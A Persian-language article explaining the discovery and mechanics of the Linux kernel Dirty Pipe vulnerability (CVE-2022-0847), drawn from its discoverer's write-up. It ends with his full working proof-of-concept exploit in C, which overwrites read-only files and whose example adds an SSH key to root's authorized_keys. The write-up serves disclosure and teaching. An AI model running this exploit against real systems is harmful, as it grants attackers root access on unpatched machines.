گزارشی کامل از آسیب پذیری Dirty Pipe


4.9/5 - (12 امتیاز)

توزیع‌ های لینوکس در حال انتشار وصله‌ هایی برای رفع آسیب پذیری Dirty Pipe که به تازگی در هسته لینوکس  فاش شده هستند که به مهاجم اجازه می‌ دهد داده‌ های دلخواه را در فایل‌ های Read-Only بازنویسی کند و کنترل کامل سیستم‌ را بدست آورد

این نقص که توسط Max Kellermann توسعه‌ دهنده نرم‌ افزار IONOS لقب “Dirty Pipe” (CVE-2022-0847، امتیاز CVSS: 7.8) را دارد، “به Privilege Escalation منجر می‌ شود، زیرا Process های غیرمجاز می‌ توانند کد را به Process های root تزریق کنند.”

آسیب پذیری Dirty Pipe شباهت زیادی به “Dirty Cow” دارد با این تفاوت که بهره برداری از آن آسان تر است.

آسیب پذیری Dirty Pipe در لینوکس 5.16.11، 5.15.25 و 5.10.102 رفع شده است.

در ادامه این مقاله اختصاصی در نیوزسک، نحوه کشف آسیب پذیری Dirty Pipe توسط Max Kellermann را به صورت کامل شرح میدهیم.

همه چیز از یک سال پیش با یک تیکت پشتیبانی در مورد فایل های خراب در هاستینگ cm4all شروع شد. یکی از مشتریان گفته بود که Access Logs هایی که دانلود کرده را نمی تواند از حالت فشرده خارج کند و gzip یک خطای CRC را گزارش میکند. مکس جوابی برای این مشتری نداشت اما فرض می‌ کرد که Process تقسیم شبانه Crash شده و یک فایل خراب پشت سر گذاشته است. مکس CRC فایل را به صورت دستی تعمیر کرد، تیکت را بست و خیلی زود مشکل را فراموش کرد.

ماه ها بعد، این اتفاق دوباره برای هاستینگ های cm4all تکرار شد. هر بار محتوای فایل درست به نظر می رسید، فقط CRC در انتهای فایل اشتباه بود.

نحوه عملکرد سرور های لاگ شرکت CM4all:

در محیط هاستینگ CM4all، همه وب سرور ها (سرور هایی که HTTP منبع باز سفارشی CM4all را اجرا می کنند) Datagram های UDP Multicast را با Metadata در هر HTTP Request ارسال می کنند که توسط سرورهای لاگی که در حال اجرای Pond هستند، پایگاه داده درون حافظه Open Source سفارشی CM4all را دریافت میکنند. Nightly Job همه Access Logs روز قبل را به یکی از هر وب‌ سایت میزبانی شده تقسیم می‌ کند که هر کدام با zlib فشرده شده است.

از طریق HTTP، تمام Access Logs های یک ماهه را می توان به صورت یک فایل .gz دانلود کرد. با استفاده از ترفندی (که شامل Z_SYNC_FLUSH می‌ شود)، می‌ توانیم تمام فایل‌ های لاگ روزانه gzip شده را بدون نیاز decompress و recompress، به هم متصل کنیم، به این معنی که این HTTP Request تقریباً هیچ مقداری از CPU را مصرف نمی‌ کند. پهنای باند حافظه با استفاده از فراخوانی سیستم splice() ذخیره می‌ شود تا داده‌ ها را مستقیماً از هارد دیسک به HTTP Connections، بدون عبور از مرز kernel/userspace منتقل شود. (“zero-copy”)

کاربران ویندوز نمی توانند فایل های .gz را مدیریت کنند، اما همه می توانند فایل های ZIP را استخراج کنند. یک فایل ZIP فقط یک container برای فایل‌ های .gz است، بنابراین می‌ توان از همین روش برای تولید فایل‌ های ZIP در لحظه استفاده کرد. تنها لازم است ابتدا یک هدر ZIP ارسال کنید، سپس تمام محتویات فایل .gz را طبق معمول به هم متصل کنید.

انتهای یک فایل روزانه مناسب به این صورت است:

000005f0 81 d6 94 39 8a 05 b0 ed e9 c0 fd 07 00 00 ff ff
00000600 03 00 9c 12 0b f5 f7 4a 00 00

00 00 ff ff در بالا Flush Sync است که امکان به هم پیوستن را فراهم می کند. 03 00 یک بلوک “نهایی” خالی است و پس از آن یک CRC32 (0xf50b129c) و طول فایل فشرده نشده (0x00004af7 = 19191 بایت) قرار می گیرد.

این فایل همان فایل بالا اما به صورت خراب است:

000005f0 81 d6 94 39 8a 05 b0 ed e9 c0 fd 07 00 00 ff ff
00000600 03 00 50 4b 01 02 1e 03 14 00

همانطور که مشاهده میکنید Flush Sync وجود دارد، بلوک نهایی خالی وجود دارد، اما طول فایل فشرده نشده اکنون 0x0014031e = 1.3 مگابایت است (این اشتباه است، این همان فایل 19 کیلوبایتی است). CRC32 0x02014b50 با محتوای فایل مطابقت ندارد.

مکس همه فایل های خرابی که شناسایی شده بود را مقایسه کرد و در کمال تعجب متوجه شد که همه آنها دارای CRC32 و مقدار طول فایل یکسان هستند. این بررسی نشان می دهد که این نمی تواند نتیجه یک محاسبه CRC باشد.

در واقع با داده های خراب، مقادیر متفاوت (اما اشتباه) CRC را دیده شد.

مکس با بررسی 8 بایت زیر متوجه شد که 50 4b کد اسکی برای “P” و “K” است.

“PK”، همه Header های ZIP اینگونه شروع می شوند.

4b5b50 4b 01 02 1e 03 14 00

با بررسی کامل 8 بایت بالا مکس متوجه شد که:

  • 50-4b همانطور که گفته شد PK است.
  • 01 02 کدی برای فایل Header دایرکتوری مرکزی است.
  • “نسخه ساخته شده توسط” = 1e 03; 0x1e = 30 (3.0)؛ 0x03 = یونیکس
  • “نسخه مورد نیاز برای استخراج” = 14 00; 0x0014 = 20 (2.0)

اما بقیه گم شده است. Header ظاهراً پس از 8 بایت کوتاه شده است.

این واقعاً مبدا یک Header فایل دایرکتوری مرکزی ZIP است که نمی تواند تصادفی باشد. اما آن Process که این فایل ها را می نویسد هیچ کدی برای تولید این مدل Header ندارد.

یک Process وجود دارد که Header های “PK” را تولید می کند. اگر چه این وب سرویس است که فایل‌ های ZIP را در لحظه می‌ سازد. اما این Process به عنوان یک کاربر متفاوت اجرا می شود که مجوز نوشتن روی این فایل ها را ندارد. پس احتمالاً این خرابی کار این Process نمی تواند باشد.

هیچ‌ کدام موارد بالا منطقی نبود، اما تیکت های پشتیبانی جدید همچنان وارد می‌ شد. یک مشکل سیستماتیک وجود داشت که مکس قادر به حل کردن آن نبود.

تا کنون یک الگو بیشتر وجود نداشت:

  • 37 پرونده فاسد در 3 ماه گذشته وجود دارد
  • آنها در 22 روز منحصر به فرد رخ دادند
  • 18 روز از آن روز 1 خرابی دارند
  • 1 روز دارای 2 خرابی است (2021-11-21)
  • 1 روز دارای 7 خرابی است (30-11-2021)
  • 1 روز دارای 6 خرابی است (31-12-2021)
  • 1 روز دارای 4 خرابی است (31-01-2022)

مکس کل هارد دیسک را برای یافتن فایل های خراب اسکن کرد (این کار دو روز طول کشید) به امید اینکه الگوهای بیشتری ظاهر شوند.

روز آخر هر ماه مشخصاً روزی است که بیشترین خرابی ها در آن رخ می دهد.

فقط لاگ سرور اولیه دارای خرابی هایی بود (آن سروری که اتصالات HTTP را ارائه می کرد و فایل های ZIP ساخته می شد). سرور Standby (HTTP غیر فعال اما Process استخراج لاگ یکسان) هیچ خرابی نداشت. داده های هر دو سرور یکسان بود، البته به جز آن خرابی ها.

به یاد داشته باشید، وب سرویس یک Header برای ZIP می نویسد، سپس از splice() برای ارسال همه فایل های فشرده استفاده می کند، و در نهایت از write() دوباره برای “Header فایل دایرکتوری مرکزی” استفاده می کند، که دقیقا خرابی با 50 4b 01 02 1e 03 14 00 شروع می شود. خرابی داده های ارسال شده از طریق wire دقیقاً شبیه فایل های خراب روی دیسک هستند. اما Process ارسال این روی wire هیچ مجوز نوشتن روی آن فایل ها ندارد (و حتی سعی نمی کند این کار را انجام دهد)، فقط آنها را می خواند. بر خلاف همه احتمالات ها، باید این روند باشد که باعث خرابی می شود، اما چگونه؟

سوال اول این بود که چرا همیشه آخرین روز ماه است که خراب می شود. هنگامی که صاحب وب سایت Access Log را دانلود می کند، سرور با روز اول ماه شروع به کار می کند، سپس روز دوم و … تا اینکه آخرین روز ماه در پایان ارسال می شود; آخرین روز ماه همیشه با PK Header همراه است. به همین دلیل است که احتمال خرابی در روز آخر بیشتر است. (اگر ماه درخواستی هنوز تمام نشده باشد، روزهای دیگر ممکن است خراب شوند، اما احتمال آن کمتر است.)

بررسی های نهایی مکس نشان داد که این باید یک باگ هسته باشد.

کد های هسته لینوکس برای خراب شدن داده ها آخرین گزینه بود، البته ظاهرا بعید است چرا که هسته یک پروژه بسیار پیچیده است که توسط هزاران نفر توسعه یافته است اما این بار آقای مکس متقاعد شد که باید باگ هسته باشد.

مکس دو برنامه C را هک کرد.

یکی که به نوشتن تکه های عجیب غریب از رشته “AAAAA” در یک فایل ادامه می دهد (شبیه سازی تقسیم کننده لاگ):

#include <unistd.h>
int main(int argc, char **argv) {
for (;;) write(1, “AAAAA”, 5);
}
// ./writer >foo

و یکی که به انتقال داده ها از آن فایل به یک pipe با استفاده از splice() ادامه می دهد و سپس رشته “BBBBB” را در pipe می نویسد (شبیه سازی ZIP Generator):

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
int main(int argc, char **argv) {
for (;;) {
splice(0, 0, 1, 0, 2, 0);
write(1, “BBBBB”, 5);
}
}
// ./splicer <foo |cat >/dev/null

مکس آن دو برنامه را در سرور لاگ کپی کرد و دید رشته “BBBBB” شروع به ظاهر شدن در فایل کرد، با اینکه هیچ کس تا به حال این رشته را در فایل ننوشت (فقط در pipe توسط یک Process بدون مجوز نوشتن).

مکس هم اکنون متوجه شد که این یک باگ در هسته لینوکس است !

یک بررسی سریع تأیید کرد که این باگ روی لینوکس 5.10 (Debian Bullseye) تأثیر می‌ گذارد اما روی لینوکس 4.19 (Debian Buster) تأثیر نمی‌ گذارد. تعداد 185.011 git commit بین v4.19 و v5.10 وجود دارد، اما به لطف git bisect، فقط 17 مرحله طول می کشد تا محل commit ناقص را پیدا کنید.

Bisect به commit f6dd975583bd رسید که کد بافر pipe را برای buffer های pipe ناشناس تغییر می دهد. این روش نحوه بررسی “ادغام پذیر یا همان mergeable” برای pipe ها را تغییر می دهد.

صفحات Pipes و Buffers:

در راه‌ اندازی CM4all، وب سرویسی که فایل‌های ZIP تولید می‌ کند، از طریق pipe با وب سرور ارتباط برقرار می‌ کند. پروتکل Web Application Socket را CM4all اختراع کرد زیرا از CGI، FastCGI و AJP راضی نبودند. استفاده از pipe ها به جای multiplexing شدن روی سوکت (مانند FastCGI و AJP) یک مزیت عمده دارد: می توانید از splice() هم در برنامه و هم در وب سرور برای بازدهی حداکثری استفاده کنید. این امر باعث کاهش هزینه های اضافی برای برنامه های کاربردی وب خارج از Process می شود (برخلاف اجرای سرویس های وب در داخل Process وب سرور، مانند ماژول های Apache).

انحراف کوتاه در مدیریت حافظه لینوکس: کوچکترین واحد حافظه مدیریت شده توسط CPU یک صفحه است (معمولاً 4 کیلوبایت). همه چیز در پایین ترین لایه مدیریت حافظه لینوکس مربوط به صفحات است. اگر برنامه ای از هسته درخواست حافظه کند، تعدادی صفحه (ناشناس) دریافت می کند. تمام ورودی/خروجی فایل ها نیز در مورد صفحات هستند: اگر داده ها را از یک فایل بخوانید، هسته ابتدا تعدادی تکه 4 کیلوبایتی را از هارد دیسک در حافظه هسته کپی می کند که توسط یک Subsystem به نام صفحه کش مدیریت می شود. از آنجا، داده ها در userspace کپی می شوند. کپی در صفحه کش برای مدتی باقی می ماند، جایی که می توان دوباره از آن استفاده کرد و از ورودی/خروجی غیرضروری هارد دیسک اجتناب کرد، تا زمانی که هسته تصمیم بگیرد که استفاده بهتری از آن حافظه دارد. به‌ جای کپی کردن داده‌ های فایل در حافظه فضای کاربر، صفحاتی که توسط صفحه کش مدیریت می‌ شوند را می‌ توان با استفاده از فراخوانی سیستم mmap() مستقیماً در فضای کاربر جای گذاری کرد. هسته لینوکس ترفند های بیشتری دارد: فراخوانی سیستم sendfile() به برنامه اجازه می‌ دهد تا محتویات فایل را به یک سوکت بدون رفت و برگشت به فضای کاربر ارسال کند (یک بهینه‌ سازی محبوب در سرور های وبی که فایل‌ های استاتیک را از طریق HTTP ارائه می‌ کنند). فراخوانی سیستم splice() نوعی generalization کردن sendfile() است: اگر یک طرف انتقال یک pipe باشد، امکان بهینه سازی یکسان را فراهم می کند. طرف دیگر می تواند تقریباً هر چیزی باشد (pipe دیگر، یک فایل، یک سوکت، یک دستگاه بلوک، یک دستگاه کاراکتر) (Zero-Copy).

pipe ابزاری برای ارتباطات بین Process های یک طرفه است. یک طرف برای pushing داده ها و سر دیگر برای pull آن ها. هسته لینوکس این را با حلقه ای از struct pipe_buffer پیاده سازی می کند که هر کدام به یک صفحه point دارد. اولین نوشتن در یک pipe یک صفحه (فضای 4 کیلوبایتی داده) را اختصاص می دهد. اگر آخرین نوشتن صفحه را به طور کامل پر نکند، ممکن است به جای اختصاص صفحه جدید، نوشته ای به صفحه موجود اضافه شود. buffer های pipe ناشناس اینگونه کار می کنند (anon_pipe_buf_ops).

با این حال، اگر داده هارا از یک فایل در pipe شما splice() کنید، هسته ابتدا داده ها را در صفحه کش بارگذاری می کند. سپس یک struct pipe_buffer ایجاد می‌ کند که به داخل صفحه کش point می‌ کند (zero-copy)، اما برخلاف buffer های pipe ناشناس، داده‌ های اضافی نوشته شده به pipe نباید به چنین صفحه‌ ای اضافه شود، زیرا صفحه متعلق به صفحه کش است، نه pipe !

تاریخچه بررسی اینکه آیا می توان داده های جدید را به بافر pipe موجود اضافه کرد یا خیر:

مدتها پیش، struct pipe_buf_operations یک flag به نام can_merge داشت.

Commit 5274f052e7b3 “Introduce sys_splice() فراخوانی سیستم” (Linux 2.6.16، 2006) فراخوانی سیستم splice() را ارائه می دهد، page_cache_pipe_buf_ops، یک struct pipe_buf_operations را معرفی می کند (پیاده سازی pipe_buf_operations برای اجرای buffer های pipe با point به cache_0، اولین buffer صفحه را نشان می دهد. غیر قابل ادغام).

Commit 01e7187b4119 “pipe: stop using ->can_merge” (Linux 5.0, 2019) flage can_merge را به مقایسه نشانگر struct pipe_buf_operations تبدیل کرد زیرا فقط anon_pipe_buf_ops این flag را دارد.

Commit f6dd975583bd “pipe: merge anon_pipe_buf*_ops” (Linux 5.8, 2020) این مقایسه نشانگر را به flag هر بافر PIPE_BUF_FLAG_CAN_MERGE تبدیل کرد.

در طول سال ها، این چک دوباره به عقب و جلو برگشت داده شد، که مشکلی نداشت. یا بود؟

چندین سال قبل PIPE_BUF_FLAG_CAN_MERGE متولد شد دو تابع جدید اضافه کرد که یک struct جدید را اختصاص می دهد، اما مقدار دهی اولیه flag های آن را از دست می داد. اکنون امکان ایجاد منابع صفحه کش با flage های دلخواه وجود داشت، اما این مهم نبود. از نظر فنی یک اشکال بود، هرچند در آن زمان بدون عواقب بود زیرا همه flag موجود نسبتاً خسته کننده بودند.

این باگ ناگهان در لینوکس 5.8 با commit f6dd975583bd “pipe: merge anon_pipe_buf*_ops” حیاتی شد. با تزریق PIPE_BUF_FLAG_CAN_MERGE به Reference صفحه کش امکان بازنویسی داده ها در صفحه کش، به سادگی با نوشتن داده های جدید در pipe به روشی خاص، فراهم شد.

این خرابی فایل را توضیح می‌ دهد: ابتدا برخی از داده‌ ها در pipe نوشته می‌ شوند، سپس بسیاری از فایل‌ ها به هم متصل می‌ شوند و Reference صفحه کش ایجاد می‌کنند. به‌طور تصادفی، ممکن است آن‌ ها مجموعه PIPE_BUF_FLAG_CAN_MERGE داشته باشند یا نداشته باشند. اگر بله، فراخوانی Write() که Header فایل دایرکتوری مرکزی را می نویسد در صفحه کش آخرین فایل فشرده نوشته می شود.

اما چرا فقط 8 بایت اول آن Header؟ در واقع، تمام Headrer در صفحه کش کپی می شود، اما این عملیات حجم فایل را افزایش نمی دهد. فایل اصلی تنها 8 بایت فضای “غیر قابل اتصال” در انتها داشت و فقط آن بایت ها قابل بازنویسی هستند. بقیه صفحه از دیدگاه صفحه کش استفاده نمی شود (اگرچه کد بافر pipe از آن استفاده می کند زیرا مدیریت پر کردن صفحه خود را دارد).

و چرا این اتفاق بیشتر نمی افتد؟ زیرا صفحه کش به دیسک باز نمی نویسد مگر اینکه معتقد باشد صفحه “dirty” است. بازنویسی تصادفی داده ها در صفحه کش، صفحه را dirty نمی کند. اگر هیچ Process دیگری برای “اعمال dirty” فایل اتفاق نیفتد، این تغییر زودگذر خواهد بود. پس از راه اندازی مجدد بعدی (یا پس از اینکه هسته تصمیم گرفت صفحه را از کش drop کند)، تغییر برگردانده می شود. این امکان حملات جالب را بدون باقی گذاشتن اثری روی هارد دیسک فراهم می کند.

Exploit آسیب پذیری Dirty Pipe:

در اولین اکسپلویت مکس (برنامه‌های «writer” / “splicer» که برای bisect استفاده میکرد)، فرض می‌ کرد که آسیب پذیری Dirty Pipe فقط در زمانی که یک privileged process فایل را می‌ نویسد قابل بهره‌ برداری است و به زمان‌ بندی بستگی دارد.

وقتی مکس متوجه شد مشکل واقعی چیست، توانست حفره را بیشتر باز کند: حتی در غیاب writer، بدون محدودیت زمان، در موقعیت های (تقریبا) دلخواه با داده های دلخواه، می توان صفحه کش را بازنویسی کرد.

محدودیت ها استفاده آسیب پذیری Dirty Pipe عبارتند از:

  • مهاجم باید مجوزهای خواندن داشته باشد (زیرا باید یک صفحه را به یک pipe فقط splice() کند)
  • offset نباید در page boundary باشد (زیرا حداقل یک بایت از آن صفحه باید به pipe متصل شده باشد)
  • نوشتن نمی تواند از page boundary عبور کند (زیرا یک buffer ناشناس جدید برای بقیه ایجاد می شود)
  • اندازه فایل قابل تغییر نیست (زیرا pipe مدیریت پر کردن صفحه خود را دارد و به صفحه کش نمی گوید چه مقدار داده اضافه شده است)

برای بهره برداری از این آسیب پذیری Dirty Pipe، باید:

  1. یک pipe ایجاد کنید.
  2. pipe را با داده های دلخواه پر کنید (برای تنظیم flag PIPE_BUF_FLAG_CAN_MERGE در تمام ورودی های حلقه).
  3. pipe را تخلیه کنید (با گذاشتن flag مجموعه در تمام نمونه های struct pipe_buffer در حلقه struct pipe_inode_info).
  4. داده‌ ها را از فایل هدف (بازشده با O_RDONLY) درست قبل از Target Offset در pipe قرار دهید.
  5. داده های دلخواه را در pipe بنویسید. این داده به جای ایجاد یک struct مجهول جدید pipe_buffer، صفحه فایل کش را بازنویسی می کند زیرا PIPE_BUF_FLAG_CAN_MERGE تنظیم شده است.

و در نهایت کد زیر proof-of-concept Exploit آقای مکس برای آسیب پذیری Dirty Pipe است:

/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* “pipe_buffer.flags” variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd (“pipe: merge
* anon_pipe_buf*_ops”). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $’\nssh-ed25519 AAA……\n’
*
* Further explanation: https://dirtypipe.cm4all.com/
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
* Create a pipe where all “bufs” on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];

/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}

/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}

/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its “flags”, the buffer
will be mergeable */
}

int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, “Usage: %s TARGETFILE OFFSET DATA\n”, argv[0]);
return EXIT_FAILURE;
}

/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);

if (offset % PAGE_SIZE == 0) {
fprintf(stderr, “Sorry, cannot start writing at a page boundary\n”);
return EXIT_FAILURE;
}

const loff_t next_page = (offset | (PAGE_SIZE – 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, “Sorry, cannot write across a page boundary\n”);
return EXIT_FAILURE;
}

/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! 🙂
if (fd < 0) {
perror(“open failed”);
return EXIT_FAILURE;
}

struct stat st;
if (fstat(fd, &st)) {
perror(“stat failed”);
return EXIT_FAILURE;
}

if (offset > st.st_size) {
fprintf(stderr, “Offset is not inside the file\n”);
return EXIT_FAILURE;
}

if (end_offset > st.st_size) {
fprintf(stderr, “Sorry, cannot enlarge the file\n”);
return EXIT_FAILURE;
}

/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);

/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
“flags”, PIPE_BUF_FLAG_CAN_MERGE is still set */
–offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror(“splice failed”);
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, “short splice\n”);
return EXIT_FAILURE;
}

/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror(“write failed”);
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, “short write\n”);
return EXIT_FAILURE;
}

printf(“It worked!\n”);
return EXIT_SUCCESS;
}

بدون دیدگاه

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد.